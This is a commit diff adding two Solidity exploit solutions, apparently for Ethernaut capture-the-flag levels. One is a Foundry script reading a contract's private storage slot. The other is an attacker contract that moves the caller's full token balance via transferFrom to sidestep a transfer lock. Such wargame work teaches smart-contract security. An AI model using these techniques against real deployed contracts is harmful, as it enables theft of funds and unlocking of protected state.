File tree Expand file tree Collapse file tree 2 files changed +38
-0
lines changed
Expand file tree Collapse file tree 2 files changed +38
-0
lines changed Original file line number Diff line number Diff line change 1+ // SPDX-License-Identifier: UNLICENSED
2+ pragma solidity ^ 0.8.13 ;
3+
4+ import {Script} from "forge-std/Script.sol " ;
5+ import {console} from "forge-std/console.sol " ;
6+
7+ contract PrivacyUnlocker is Script {
8+
9+ function run () external {
10+
11+ address levelInstance = 0xA0139e8cDC6611169F5DF7a78De94c31a80B5306 ;
12+ uint dataSlot = 5 ;
13+ bytes32 data;
14+
15+ data = vm.load (levelInstance, bytes32 (dataSlot));
16+
17+ console.logBytes16 (bytes16 (data));
18+ }
19+ }
Original file line number Diff line number Diff line change 1+ // SPDX-License-Identifier: UNLICENSED
2+ pragma solidity ^ 0.8.13 ;
3+
4+ interface IERC20 {
5+ function transferFrom (address from , address to , uint256 value ) external returns (bool );
6+ function balanceOf (address account ) external view returns (uint256 );
7+ }
8+
9+ contract NaughtCoin {
10+
11+ address target = 0xbb69f7f53c3f50633a1dFB009cA29d79f6f9BD8d ;
12+
13+ constructor () {}
14+
15+ function attack () public {
16+ uint256 balanceCaller = IERC20 (target).balanceOf (msg .sender );
17+ IERC20 (target).transferFrom (msg .sender , address (this ), balanceCaller);
18+ }
19+ }
You can’t perform that action at this time.
0 commit comments